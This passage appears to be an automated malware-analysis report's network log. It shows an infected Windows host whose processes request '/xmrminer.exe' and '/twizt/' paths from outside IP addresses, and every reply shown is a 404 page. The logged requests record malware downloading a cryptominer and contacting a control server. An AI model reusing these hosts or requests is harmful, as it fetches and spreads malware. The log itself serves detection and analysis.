Aug 15, 2022 18:33:12.211927891 CEST	8472	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:33:12 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49765	185.215.113.84	80	C:\Users\user\AppData\Local\Temp\509517324.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2022 18:31:38.323205948 CEST	869	OUT	GET /xmrminer.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Host: 185.215.113.84
Aug 15, 2022 18:31:38.378837109 CEST	869	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:38 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49767	185.215.113.84	80	C:\Users\user\AppData\Local\Temp\509517324.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2022 18:31:45.186839104 CEST	887	OUT	GET /xmrminer.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 185.215.113.84 Connection: Keep-Alive
Aug 15, 2022 18:31:45.246023893 CEST	888	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 62 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 31 0b c2 30 10 85 77 c1 ff 70 6e 3a a4 69 a1 83 43 c8 22 0a 0e ba 88 3f 20 f5 ce 36 90 5e 24 a6 60 ff bd a9 b6 20 ce 8e 8e f7 ee 7b 8f c7 53 4d 6c 9d 9e cf 54 43 06 b5 8a 36 3a d2 65 5e c2 d1 47 d8 f9 8e 51 c9 b7 a8 e4 0b 49 68 e5 b1 1f 2c 17 e2 48 41 ab a6 f8 76 24 45 c9 f1 3d 64 27 68 bc b8 b6 fc 90 45 56 ac b3 1c 96 e7 aa e3 d8 ad 3e 59 39 a5 cb a9 d9 42 08 30 70 33 88 96 6b 88 1e d0 de 4d e5 08 0e a7 fd 16 0c 23 6c 9a e0 5b 82 6b b0 c4 e8 7a a0 10 7c 48 8e 9a 40 88 a1 e9 3f e2 97 5b 3c 01 2a b6 49 35 34 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ba10wpn:iC"? 6^$` {SMlTC6:e^GQIh,HAv$E=d'hEV>Y9B0p3kM#l[kz\|H@?[<*I540

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	49778	185.215.113.66	80	C:\Windows\winrecsv.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2022 18:31:48.254514933 CEST	1049	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:48.316487074 CEST	1050	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:48 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:31:49.321367979 CEST	1050	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:49.379162073 CEST	1051	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:49 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:31:50.398318052 CEST	1051	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:50.455815077 CEST	1052	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:50 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:31:51.491883039 CEST	1053	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:51.786901951 CEST	1053	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:51.831628084 CEST	1054	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:51 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 15, 2022 18:31:52.854788065 CEST	1071	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:52.912606001 CEST	1071	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:52 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	49785	185.215.113.66	80	C:\Windows\winrecsv.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2022 18:31:56.131560087 CEST	1126	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 15, 2022 18:31:56.187637091 CEST	1127	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Aug 2022 16:31:56 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 